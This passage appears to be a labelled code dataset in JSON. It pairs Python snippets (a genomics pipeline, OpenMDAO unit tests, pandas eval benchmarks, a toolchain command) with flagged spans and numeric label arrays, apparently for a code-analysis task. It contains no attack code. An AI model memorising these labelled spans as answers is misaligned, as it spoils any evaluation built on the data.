)\ndef buildNoncodingGeneTSS( infile, outfile ):\n '''Assign a TSS for each non-coding gene'''\n statement = \"\"\"\n cat < %(infile)s \n | python %(scriptsdir)s/gff2gff.py --sanitize=genome --skip-missing --genome-file=%(genome_dir)s/%(genome)s --log=%(outfile)s.log \n | python %(scriptsdir)s/gtf2gff.py --method=promotors --promotor=1 --genome-file=%(genome_dir)s/%(genome)s --log=%(outfile)s.log \n | python %(scriptsdir)s/gff2bed.py --is-gtf --name=gene_id --log=%(outfile)s.log \n | python %(scriptsdir)s/bed2bed.py --method=filter-genome --genome-file=%(genome_dir)s/%(genome)s --log %(outfile)s.log\n | gzip\n > %(outfile)s \"\"\"\n P.run()", "metadata": "root.buildNoncodingGeneTSS", "header": "['module', '___EOS___']", "index": 407 }, { "content": "@transform( (buildTranscriptTSS, buildGeneTSS, buildGeneTSSInterval, buildNoncodingGeneTSS), suffix(\".bed.gz\"), \".extended.bed.gz\" )\ndef ExtendRegion( infile, outfile ):\n '''convert bed to gtf'''\n statement = \"\"\"gunzip < %(infile)s \n | slopBed -i stdin -g %(faidx)s -b 1000 \n | gzip\n > %(outfile)s \"\"\"\n P.run()", "metadata": "root.ExtendRegion", "header": "['module', '___EOS___']", "index": 421 }, { "content": "@transform( (buildTranscriptTSS, buildGeneTSS, buildGeneTSSInterval, buildNoncodingGeneTSS, ExtendRegion), suffix(\".bed.gz\"), \".gtf\" )\ndef convertToGTF( infile, outfile ):\n '''convert bed to gtf'''\n statement = \"\"\"gunzip < %(infile)s \n | python %(scriptsdir)s/bed2gff.py --as-gtf --log=%(outfile)s.log \n > %(outfile)s \"\"\"\n P.run()", "metadata": "root.convertToGTF", "header": "['module', '___EOS___']", "index": 431 }, { "content": "@files( \"pipeline.ini\", \"ensembl.copy.log\" )\ndef copyEnsembl( infile, outfile ):\n '''convert bed to gtf'''\n ensembl_dir = PARAMS[\"ensembl_dir\"]\n statement = \"\"\"cp %(ensembl_dir)s/repeats.gtf geneset/ 2> %(outfile)s;\n cp %(ensembl_dir)s/go.tsv.gz geneset/ 2> %(outfile)s;\n cp %(ensembl_dir)s/goslim.tsv.gz geneset/ 2> %(outfile)s;\n cp %(ensembl_dir)s/go_ontology.obo geneset/ 2> %(outfile)s;\n cp %(ensembl_dir)s/goslim.obo geneset/ 2> %(outfile)s;\"\"\"\n P.run()", "metadata": "root.copyEnsembl", "header": "['module', '___EOS___']", "index": 443 }, { "content": "@files( \"pipeline.ini\", \"ensembldb.copy.log\" )\ndef copyEnsemblDb( infile, outfile ):\n '''copy tables from ensembl database to rnaseq database'''\n table_list = P.asList(PARAMS[\"ensembl_tables\"])\n dbhandle = sqlite3.connect( PARAMS[\"database\"] )\n cc = dbhandle.cursor()\n query = \"\"\"ATTACH \"%s\" as ensembl;\"\"\" % PARAMS[\"ensembl_db\"]\n cc.execute( query )\n for table in table_list:\n cc = dbhandle.cursor()\n query = \"\"\"CREATE TABLE %s AS SELECT * FROM ensembl.%s;\"\"\" % (table, table)\n print query\n cc.execute( query )\n cc.close()\n statement = \"\"\"touch %(outfile)s;\"\"\"\n P.run()", "metadata": "root.copyEnsemblDb", "header": "['module', '___EOS___']", "index": 455 }, { "content": "@transform( loadTranscripts, regex(r\"(\\S+).load\"), \"gene_name.update.log\" )\ndef updateGeneName( infile, outfile ):\n '''update gene name from ensembl database'''\n dbhandle = sqlite3.connect( PARAMS[\"database\"] )\n cc = dbhandle.cursor()\n query = \"\"\"ATTACH \"%s\" as ensembl;\"\"\" % PARAMS[\"ensembl_db\"]\n cc.execute( query )\n query = \"\"\"UPDATE transcript_info SET gene_name=\n (SELECT gene_name from ensembl.transcript_info \n WHERE transcript_info.gene_id=ensembl.transcript_info.gene_id);\"\"\"\n print query\n cc.execute( query )\n cc.close()\n statement = \"\"\"touch %(outfile)s;\"\"\"\n P.run()", "metadata": "root.updateGeneName", "header": "['module', '___EOS___']", "index": 473 } ]

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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]

[ { "content": " def test_conflicting_connections(self):\n # verify we get an error if we have conflicting implicit and explicit connections\n root = Group()\n\n # promoting G1.x will create an implicit connection to G3.x\n # this is a conflict because G3.x (aka G3.C4.x) is already connected\n # to G3.C3.x\n G2 = root.add('G2', Group(), promotes=['x']) # BAD PROMOTE\n G2.add('C1', IndepVarComp('x', 5.), promotes=['x'])\n\n G1 = G2.add('G1', Group(), promotes=['x'])\n G1.add('C2', ExecComp('y=x*2.0'), promotes=['x'])\n\n G3 = root.add('G3', Group(), promotes=['x'])\n G3.add('C3', ExecComp('y=x*2.0'))\n G3.add('C4', ExecComp('y=x*2.0'), promotes=['x'])\n\n root.connect('G2.G1.C2.y', 'G3.C3.x')\n G3.connect('C3.y', 'x')\n\n prob = Problem(root)\n\n try:\n prob.setup(check=False)\n except Exception as error:\n msg = \"Target 'G3.C4.x' is connected to multiple unknowns: ['G2.C1.x', 'G3.C3.y']\"\n self.assertTrue(msg in str(error))\n else:\n self.fail(\"Error expected\")", "metadata": "root.TestProblem.test_conflicting_connections", "header": "['class', 'TestProblem', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 29 }, { "content": " def test_check_connections(self):\n class A(Component):\n def __init__(self):\n super(A, self).__init__()\n self.add_state('y', np.zeros((2,)), shape=(2,))\n\n class B(Component):\n def __init__(self):\n super(B, self).__init__()\n self.add_param('y', np.zeros((3,)), shape=(3,))\n\n class C(Component):\n def __init__(self):\n super(C, self).__init__()\n self.add_state('y', np.zeros((2,)))\n\n class D(Component):\n def __init__(self):\n super(D, self).__init__()\n self.add_param('y', np.zeros((2,)))\n\n class E(Component):\n def __init__(self):\n super(E, self).__init__()\n self.add_param('y', 1.0)\n\n # Type mismatch error message\n type_err = \"Type <type '%s'> of source %s\" \\\n \" must be the same as \" \\\n \"type <type '%s'> of target %s.\"\n\n # Type mismatch in explicit connection\n prob = Problem()\n prob.root = Group()\n prob.root.add('A', A())\n prob.root.add('E', E())\n\n prob.root.connect('A.y', 'E.y')\n\n with self.assertRaises(Exception) as cm:\n prob.setup(check=False)\n\n expected = py3fix(type_err % ('numpy.ndarray', \"'A.y'\", 'float', \"'E.y'\"))\n self.assertEqual(str(cm.exception), expected)\n\n # Type mismatch in implicit connection\n prob = Problem()\n prob.root = Group()\n prob.root.add('A', A(), promotes=['y'])\n prob.root.add('E', E(), promotes=['y'])\n\n with self.assertRaises(Exception) as cm:\n prob.setup(check=False)\n\n expected = py3fix(type_err % ('numpy.ndarray', \"'A.y' (y)\", 'float', \"'E.y' (y)\"))\n self.assertEqual(str(cm.exception), expected)\n\n # Shape mismatch error message\n shape_err = \"Shape %s of source %s\" \\\n \" must be the same as \" \\\n \"shape %s of target %s.\"\n\n # Shape mismatch in explicit connection\n prob = Problem()\n prob.root = Group()\n\n prob.root.add('A', A())\n prob.root.add('B', B())\n prob.root.connect('A.y', 'B.y')\n\n with self.assertRaises(Exception) as cm:\n prob.setup(check=False)\n\n raised_error = str(cm.exception)\n raised_error = raised_error.replace('(2L,', '(2,')\n raised_error = raised_error.replace('(3L,', '(3,')\n\n expected = shape_err % ('(2,)', \"'A.y'\", '(3,)', \"'B.y'\")\n self.assertTrue(expected in raised_error)\n\n # Shape mismatch in implicit connection\n prob = Problem()\n prob.root = Group()\n\n prob.root.add('A', A(), promotes=['y'])\n prob.root.add('B', B(), promotes=['y'])\n\n with self.assertRaises(Exception) as cm:\n prob.setup(check=False)\n\n raised_error = str(cm.exception)\n raised_error = raised_error.replace('(2L,', '(2,')\n raised_error = raised_error.replace('(3L,', '(3,')\n\n expected = shape_err % ('(2,)', \"'A.y' (y)\", '(3,)', \"'B.y' (y)\")\n self.assertTrue(expected in raised_error)\n\n # Shape mismatch in explicit connection\n prob = Problem()\n prob.root = Group()\n prob.root.add('B', B())\n prob.root.add('C', C())\n prob.root.connect('C.y', 'B.y')\n\n with self.assertRaises(Exception) as cm:\n prob.setup(check=False)\n\n raised_error = str(cm.exception)\n raised_error = raised_error.replace('(2L,', '(2,')\n raised_error = raised_error.replace('(3L,', '(3,')\n\n expected = shape_err % ('(2,)', \"'C.y'\", '(3,)', \"'B.y'\")\n self.assertTrue(expected in raised_error)\n\n # Shape mismatch in implicit connection\n prob = Problem()\n prob.root = Group()\n prob.root.add('B', B(), promotes=['y'])\n prob.root.add('C', C(), promotes=['y'])\n\n with self.assertRaises(Exception) as cm:\n prob.setup(check=False)\n\n raised_error = str(cm.exception)\n raised_error = raised_error.replace('(2L,', '(2,')\n raised_error = raised_error.replace('(3L,', '(3,')\n\n expected = shape_err % ('(2,)', \"'C.y' (y)\", '(3,)', \"'B.y' (y)\")\n self.assertTrue(expected in raised_error)\n\n # Explicit\n prob = Problem()\n prob.root = Group()\n prob.root.ln_solver = ScipyGMRES()\n prob.root.add('A', A())\n prob.root.add('D', D())\n prob.root.connect('A.y', 'D.y')\n\n stream = cStringIO()\n checks = prob.setup(out_stream=stream)\n\n self.assertEqual(checks['no_unknown_comps'], ['D'])\n self.assertEqual(checks['recorders'], [])\n content = stream.getvalue()\n self.assertTrue(\"The following components have no unknowns:\\nD\\n\" in content)\n self.assertTrue(\"No recorders have been specified, so no data will be saved.\" in content)\n\n # Implicit\n prob = Problem()\n prob.root = Group()\n prob.root.ln_solver = ScipyGMRES()\n prob.root.add('A', A(), promotes=['y'])\n prob.root.add('D', D(), promotes=['y'])\n\n stream = cStringIO()\n checks = prob.setup(out_stream=stream)\n\n self.assertEqual(checks['no_unknown_comps'], ['D'])\n self.assertEqual(checks['recorders'], [])\n content = stream.getvalue()\n self.assertTrue(\"The following components have no unknowns:\\nD\\n\" in content)\n self.assertTrue(\"No recorders have been specified, so no data will be saved.\" in content)\n\n # Explicit\n prob = Problem()\n prob.root = Group()\n prob.root.ln_solver = ScipyGMRES()\n prob.root.add('C', C())\n prob.root.add('D', D())\n prob.root.connect('C.y', 'D.y')\n\n stream = cStringIO()\n checks = prob.setup(out_stream=stream)\n\n self.assertEqual(checks['no_unknown_comps'], ['D'])\n self.assertEqual(checks['recorders'], [])\n content = stream.getvalue()\n self.assertTrue(\"The following components have no unknowns:\\nD\\n\" in content)\n self.assertTrue(\"No recorders have been specified, so no data will be saved.\" in content)\n\n # Implicit\n prob = Problem()\n prob.root = Group()\n prob.root.ln_solver = ScipyGMRES()\n prob.root.add('C', C(), promotes=['y'])\n prob.root.add('D', D(), promotes=['y'])\n\n stream = cStringIO()\n checks = prob.setup(out_stream=stream)\n\n self.assertEqual(checks['no_unknown_comps'], ['D'])\n self.assertEqual(checks['recorders'], [])\n content = stream.getvalue()\n self.assertTrue(\"The following components have no unknowns:\\nD\\n\" in content)\n self.assertTrue(\"No recorders have been specified, so no data will be saved.\" in content)", "metadata": "root.TestProblem.test_check_connections", "header": "['class', 'TestProblem', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 284 }, { "content": " def test_src_idx_neg(self):\n class A(Component):\n def __init__(self):\n super(A, self).__init__()\n self.add_output('y', np.zeros((5,)), shape=(5,))\n\n class B(Component):\n def __init__(self):\n super(B, self).__init__()\n self.add_param('x', np.zeros((3,)), shape=(3,))\n\n # src_indices larger than src\n prob = Problem(root=Group())\n prob.root.add(\"A\", A())\n prob.root.add(\"B\", B())\n prob.root.connect(\"A.y\", \"B.x\", src_indices=[0, 1, -1])\n try:\n prob.setup(check=False)\n except Exception as err:\n self.assertTrue(\"'B.x' src_indices contains a negative index (-1).\" in str(err))\n else:\n self.fail(\"Exception expected\")", "metadata": "root.TestProblem.test_src_idx_neg", "header": "['class', 'TestProblem', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 505 }, { "content": " def test_src_idx_gt_src_size(self):\n class A(Component):\n def __init__(self):\n super(A, self).__init__()\n self.add_output('y', np.zeros((5,)), shape=(5,))\n\n class B(Component):\n def __init__(self):\n super(B, self).__init__()\n self.add_param('x', np.zeros((3,)), shape=(3,))\n\n # src_indices larger than src\n prob = Problem(root=Group())\n prob.root.add(\"A\", A())\n prob.root.add(\"B\", B())\n prob.root.connect(\"A.y\", \"B.x\", src_indices=[1,4,5])\n try:\n prob.setup(check=False)\n except Exception as err:\n self.assertTrue(\"'B.x' src_indices contains an index (5) that exceeds the bounds \"\n \"of source variable 'A.y' of size 5.\" in str(err))\n else:\n self.fail(\"Exception expected\")", "metadata": "root.TestProblem.test_src_idx_gt_src_size", "header": "['class', 'TestProblem', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 528 }, { "content": " def test_scalar_sizes(self):\n class A(Component):\n def __init__(self):\n super(A, self).__init__()\n self.add_param('x', shape=1)\n self.add_output('y', shape=1)\n\n class B(Component):\n def __init__(self):\n super(B, self).__init__()\n self.add_param('x', shape=2)\n self.add_output('y', shape=2)\n\n class C(Component):\n def __init__(self):\n super(C, self).__init__()\n self.add_param('x', shape=3)\n self.add_output('y', shape=3)\n\n # Scalar Values\n prob = Problem()\n root = prob.root = Group()\n root.add('X', IndepVarComp('x', 0., shape=1), promotes=['x'])\n root.add('A1', A(), promotes=['x'])\n root.add('A2', A())\n root.connect('A1.y', 'A2.x')\n prob.setup(check=False)\n\n # Array Values\n prob = Problem()\n root = prob.root = Group()\n root.add('X', IndepVarComp('x', np.zeros(2), shape=2), promotes=['x'])\n root.add('B1', B(), promotes=['x'])\n root.add('B2', B())\n root.connect('B1.y', 'B2.x')\n prob.setup(check=False)\n\n # Mismatched Array Values\n prob = Problem()\n root = prob.root = Group()\n root.add('X', IndepVarComp('x', np.zeros(2), shape=2), promotes=['x'])\n root.add('B1', B(), promotes=['x'])\n root.add('C1', C())\n root.connect('B1.y', 'C1.x')\n with self.assertRaises(Exception) as cm:\n prob.setup(check=False)\n expected = \"Shape (2,) of source 'B1.y' must be the same as \" \\\n \"shape (3,) of target 'C1.x'.\"\n self.assertTrue(expected in str(cm.exception))\n\n # Mismatched Scalar to Array Value\n prob = Problem()\n root = prob.root = Group()\n root.add('X', IndepVarComp('x', 0., shape=1), promotes=['x'])\n root.add('B1', B(), promotes=['x'])\n with self.assertRaises(Exception) as cm:\n prob.setup(check=False)\n\n expected = py3fix(\"Type <type 'float'> of source 'X.x' (x) must be the same as \"\n \"type <type 'numpy.ndarray'> of target 'B1.x' (x).\")\n self.assertEqual(expected, str(cm.exception))", "metadata": "root.TestProblem.test_scalar_sizes", "header": "['class', 'TestProblem', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 678 }, { "content": " def test_check_parallel_derivs(self):\n\n prob = Problem()\n root = prob.root = Group()\n\n root.add('p1', IndepVarComp('a', 1.0), promotes=['*'])\n root.add('p2', IndepVarComp('b', 1.0), promotes=['*'])\n sub1 = root.add('sub1', Group(), promotes=['*'])\n sub1.ln_solver = LinearGaussSeidel()\n sub2 = sub1.add('sub2', Group(), promotes=['*'])\n sub2.add('comp', ExecComp(['x = 2.0*a + 3.0*b', 'y=4.0*a - 1.0*b']), promotes=['*'])\n sub2.ln_solver = LinearGaussSeidel()\n\n root.ln_solver.options['mode'] = 'fwd'\n sub1.ln_solver.options['mode'] = 'fwd'\n sub2.ln_solver.options['mode'] = 'fwd'\n\n prob.setup(check=False)\n prob.run()\n\n root.ln_solver = LinearGaussSeidel()\n root.ln_solver.options['single_voi_relevance_reduction'] = True\n prob.driver.add_desvar('p1.a', 1.0)\n prob.driver.add_constraint('x', upper=0.0)\n prob.driver.add_constraint('y', upper=0.0)\n with warnings.catch_warnings(record=True) as w:\n if not MPI:\n # suppress warning about not running under MPI\n warnings.simplefilter(\"ignore\")\n prob.driver.parallel_derivs(['x','y'])\n\n root.ln_solver.options['mode'] = 'rev'\n sub1.ln_solver.options['mode'] = 'rev'\n\n prob._setup_errors = []\n mode = prob._check_for_parallel_derivs(['a'], ['x'], True, False)\n\n msg = \"Group 'sub2' has mode 'fwd' but the root group has mode 'rev'. Modes must match to use parallel derivative groups.\"\n self.assertTrue(msg in prob._setup_errors[0])\n\n\n sub1.ln_solver.options['mode'] = 'fwd'\n sub2.ln_solver.options['mode'] = 'rev'\n\n\n prob._setup_errors = []\n mode = prob._check_for_parallel_derivs(['a'], ['x'], True, False)\n\n msg = \"Group 'sub1' has mode 'fwd' but the root group has mode 'rev'. Modes must match to use parallel derivative groups.\"\n self.assertTrue(msg in prob._setup_errors[0])\n\n\n sub1.ln_solver.options['mode'] = 'rev'\n mode = prob._check_for_parallel_derivs(['a'], ['x'], True, False)", "metadata": "root.TestProblem.test_check_parallel_derivs", "header": "['class', 'TestProblem', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 779 }, { "content": " def test_iprint(self):\n\n top = Problem()\n top.root = SellarStateConnection()\n top.setup(check=False)\n\n base_stdout = sys.stdout\n\n try:\n ostream = cStringIO()\n sys.stdout = ostream\n top.run()\n finally:\n sys.stdout = base_stdout\n\n printed = ostream.getvalue()\n self.assertEqual(printed, '')\n\n # Turn on all iprints\n top.print_all_convergence()\n\n try:\n ostream = cStringIO()\n sys.stdout = ostream\n top.run()\n finally:\n sys.stdout = base_stdout\n\n printed = ostream.getvalue()\n self.assertEqual(printed.count('NEWTON'), 3)\n self.assertEqual(printed.count('GMRES'), 4)\n self.assertTrue('[root] NL: NEWTON 0 | ' in printed)\n self.assertTrue(' [root.sub] LN: GMRES 0 | ' in printed)", "metadata": "root.TestProblem.test_iprint", "header": "['class', 'TestProblem', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 834 }, { "content": " def test_cycle(self):\n prob = Problem(root=Group())\n root = prob.root\n\n G1 = root.add(\"G1\", Group())\n G2 = G1.add(\"G2\", Group())\n G2.ln_solver = ScipyGMRES()\n\n C1 = G2.add(\"C1\", ExecComp('y=x*2.0'))\n C2 = G2.add(\"C2\", ExecComp('y=x*2.0'))\n C3 = G2.add(\"C3\", ExecComp('y=x*2.0'))\n\n G2.connect(\"C1.y\", \"C3.x\")\n G2.connect(\"C3.y\", \"C2.x\")\n G2.connect(\"C2.y\", \"C1.x\")\n\n # force wrong order\n G2.set_order(['C1', 'C2', 'C3'])\n\n stream = cStringIO()\n checks = prob.setup(out_stream=stream)\n auto, _ = G2.list_auto_order()\n self.assertTrue(auto==['C1', 'C3', 'C2'] or\n auto==['C3', 'C2', 'C1'] or\n auto==['C2', 'C1', 'C3'])\n self.assertTrue(\"Group 'G1.G2' has the following cycles: [['C1', 'C2', 'C3']]\" in\n stream.getvalue())\n\n oo = checks['out_of_order']\n self.assertEqual(oo[0][0], 'G1.G2')\n expected = {\n ('C2','C3'): 'C1',\n ('C3',): 'C2',\n ('C2',): 'C1',\n }\n\n for node, afters in oo[0][1]:\n self.assertEqual(node, expected[tuple(afters)])", "metadata": "root.TestCheckSetup.test_cycle", "header": "['class', 'TestCheckSetup', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 951 } ]

[ { "span": "self.assertTrue(msg in str(error))", "start_line": 55, "start_column": 12, "end_line": 55, "end_column": 46 }, { "span": "self.assertTrue(expected in raised_error)", "start_line": 362, "start_column": 8, "end_line": 362, "end_column": 49 }, { "span": "self.assertTrue(expected in raised_error)", "start_line": 379, "start_column": 8, "end_line": 379, "end_column": 49 }, { "span": "self.assertTrue(expected in raised_error)", "start_line": 396, "start_column": 8, "end_line": 396, "end_column": 49 }, { "span": "self.assertTrue(expected in raised_error)", "start_line": 412, "start_column": 8, "end_line": 412, "end_column": 49 }, { "span": "self.assertTrue(\"The following components have no unknowns:\\nD\\n\" in content)", "start_line": 428, "start_column": 8, "end_line": 428, "end_column": 85 }, { "span": "self.assertTrue(\"No recorders have been specified, so no data will be saved.\" in content)", "start_line": 429, "start_column": 8, "end_line": 429, "end_column": 97 }, { "span": "self.assertTrue(\"The following components have no unknowns:\\nD\\n\" in content)", "start_line": 444, "start_column": 8, "end_line": 444, "end_column": 85 }, { "span": "self.assertTrue(\"No recorders have been specified, so no data will be saved.\" in content)", "start_line": 445, "start_column": 8, "end_line": 445, "end_column": 97 }, { "span": "self.assertTrue(\"The following components have no unknowns:\\nD\\n\" in content)", "start_line": 461, "start_column": 8, "end_line": 461, "end_column": 85 }, { "span": "self.assertTrue(\"No recorders have been specified, so no data will be saved.\" in content)", "start_line": 462, "start_column": 8, "end_line": 462, "end_column": 97 }, { "span": "self.assertTrue(\"The following components have no unknowns:\\nD\\n\" in content)", "start_line": 477, "start_column": 8, "end_line": 477, "end_column": 85 }, { "span": "self.assertTrue(\"No recorders have been specified, so no data will be saved.\" in content)", "start_line": 478, "start_column": 8, "end_line": 478, "end_column": 97 }, { "span": "self.assertTrue(\"'B.x' src_indices contains a negative index (-1).\" in str(err))", "start_line": 524, "start_column": 12, "end_line": 524, "end_column": 92 }, { "span": "self.assertTrue(\"'B.x' src_indices contains an index (5) that exceeds the bounds \"\n \"of source variable 'A.y' of size 5.\" in str(err))", "start_line": 547, "start_column": 12, "end_line": 548, "end_column": 79 }, { "span": "self.assertTrue(expected in str(cm.exception))", "start_line": 726, "start_column": 8, "end_line": 726, "end_column": 54 }, { "span": "self.assertTrue(msg in prob._setup_errors[0])", "start_line": 817, "start_column": 8, "end_line": 817, "end_column": 53 }, { "span": "self.assertTrue(msg in prob._setup_errors[0])", "start_line": 828, "start_column": 8, "end_line": 828, "end_column": 53 }, { "span": "self.assertTrue('[root] NL: NEWTON 0 | ' in printed)", "start_line": 865, "start_column": 8, "end_line": 865, "end_column": 62 }, { "span": "self.assertTrue(' [root.sub] LN: GMRES 0 | ' in printed)", "start_line": 866, "start_column": 8, "end_line": 866, "end_column": 68 }, { "span": "self.assertTrue(\"Group 'G1.G2' has the following cycles: [['C1', 'C2', 'C3']]\" in\n stream.getvalue())", "start_line": 976, "start_column": 8, "end_line": 977, "end_column": 42 } ]

[]

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[ { "content": " def time_add(self, engine, threads):\n df, df2, df3, df4 = self.df, self.df2, self.df3, self.df4\n pd.eval('df + df2 + df3 + df4', engine=engine)", "metadata": "root.eval_frame.time_add", "header": "['class', 'eval_frame', '(', 'object', ')', ':', '___EOS___']", "index": 20 }, { "content": " def time_and(self, engine, threads):\n df, df2, df3, df4 = self.df, self.df2, self.df3, self.df4\n pd.eval('(df > 0) & (df2 > 0) & (df3 > 0) & (df4 > 0)', engine=engine)", "metadata": "root.eval_frame.time_and", "header": "['class', 'eval_frame', '(', 'object', ')', ':', '___EOS___']", "index": 24 }, { "content": " def time_chained_cmp(self, engine, threads):\n df, df2, df3, df4 = self.df, self.df2, self.df3, self.df4\n pd.eval('df < df2 < df3 < df4', engine=engine)", "metadata": "root.eval_frame.time_chained_cmp", "header": "['class', 'eval_frame', '(', 'object', ')', ':', '___EOS___']", "index": 28 }, { "content": " def time_mult(self, engine, threads):\n df, df2, df3, df4 = self.df, self.df2, self.df3, self.df4\n pd.eval('df * df2 * df3 * df4', engine=engine)", "metadata": "root.eval_frame.time_mult", "header": "['class', 'eval_frame', '(', 'object', ')', ':', '___EOS___']", "index": 32 }, { "content": " def time_query_datetime_index(self):\n ts = self.ts\n self.df.query('index < @ts')", "metadata": "root.query_datetime_index.time_query_datetime_index", "header": "['class', 'query_datetime_index', '(', 'object', ')', ':', '___EOS___']", "index": 48 }, { "content": " def time_query_datetime_series(self):\n ts = self.ts\n self.df.query('dates < @ts')", "metadata": "root.query_datetime_series.time_query_datetime_series", "header": "['class', 'query_datetime_series', '(', 'object', ')', ':', '___EOS___']", "index": 64 }, { "content": " def time_query_with_boolean_selection(self):\n min_val, max_val = self.min_val, self.max_val\n self.df.query('(a >= @min_val) & (a <= @max_val)')", "metadata": "root.query_with_boolean_selection.time_query_with_boolean_selection", "header": "['class', 'query_with_boolean_selection', '(', 'object', ')', ':', '___EOS___']", "index": 83 } ]

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[ { "content": " @staticmethod\n def get_objects(slice, plugin_type, klass, **kwargs):\n \"\"\"\n Retrieves the id of a model belonging to another plugin\n and which is contained in the same slice than the \n AM corresponding to the other plugin that invokes this.\n\n E.g. Slice \"test\" with \"VT test AM\" and \"OF test AM\"\n VT plugin will ask for OF resources whose AM (\"OF\n AM test\") was previously added to slice \"tests\".\n \"\"\"\n try:\n# plugins_modules = settings.PLUGIN_LOADER.plugin_settings.get(plugin_type).get(\"general\").get(\"aggregate_plugins\")[0]\n plugins_modules = PLUGIN_LOADER.plugin_settings.get(plugin_type).get(\"general\").get(\"aggregate_plugins\")[0]\n p_agg = plugins_modules.split('.')[-1]\n p_models_path = '.'.join(plugins_modules.split('.')[:-1])\n try:\n model = getattr(__import__(p_models_path,fromlist=[klass]), klass)\n except: \n try: \n model = getattr(__import__(p_models_path+'.'+klass,fromlist=[klass]), klass)\n except:\n pass \n # Filters resources by slice (will not return any aggregate's resource from another slice)\n objects = model.objects.filter(**kwargs)\n #print \"objects: %s\" % str(objects)\n for obj in objects:\n if not (obj != None and obj.aggregate in slice._get_aggregates()):\n raise Exception\n return objects\n except Exception,e:\n print \"[ERROR] PluginCommunicator could not obtain object. Details: %s \" % str(e)\n return None", "metadata": "root.PluginCommunicator.get_objects", "header": "['class', 'PluginCommunicator', '(', ')', ':', '___EOS___']", "index": 24 }, { "content": " @staticmethod\n def get_object_id(slice, plugin_type, klass, **kwargs): \n try:\n return PluginCommunicator.get_object(slice, plugin_type, klass, **kwargs).id\n except:\n return None", "metadata": "root.PluginCommunicator.get_object_id", "header": "['class', 'PluginCommunicator', '(', ')', ':', '___EOS___']", "index": 67 } ]

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[ { "content": "def do(args):\n \"\"\" Add a package to a toolchain\n\n - Check that there is a current toolchain\n - Add the package to the cache\n - Add the package from cache to toolchain\n\n \"\"\"\n toolchain = qitoolchain.parsers.get_toolchain(args)\n name = args.name\n package_path = args.package_path\n legacy = False\n try:\n archive = zipfile.ZipFile(package_path)\n archive.read(\"package.xml\")\n except KeyError:\n legacy = True\n if legacy and not args.name:\n ui.fatal(\"Must specify --name when using legacy format\")\n if args.name and not legacy:\n ui.warning(\"--name ignored when using modern format\")\n\n package = None\n if legacy:\n package = qitoolchain.qipackage.QiPackage(args.name)\n else:\n package = qitoolchain.qipackage.from_archive(package_path)\n\n # extract it to the default packages path of the toolchain\n tc_name = toolchain.name\n tc_packages_path = qitoolchain.toolchain.get_default_packages_path(tc_name)\n dest = os.path.join(tc_packages_path, package.name)\n qisys.sh.rm(dest)\n qitoolchain.qipackage.extract(package_path, dest)\n package.path = dest\n\n # add the package to the toolchain\n toolchain.add_package(package)", "metadata": "root.do", "header": "['module', '___EOS___']", "index": 28 } ]

[ { "span": "name ", "start_line": 37, "start_column": 4, "end_line": 37, "end_column": 8 } ]

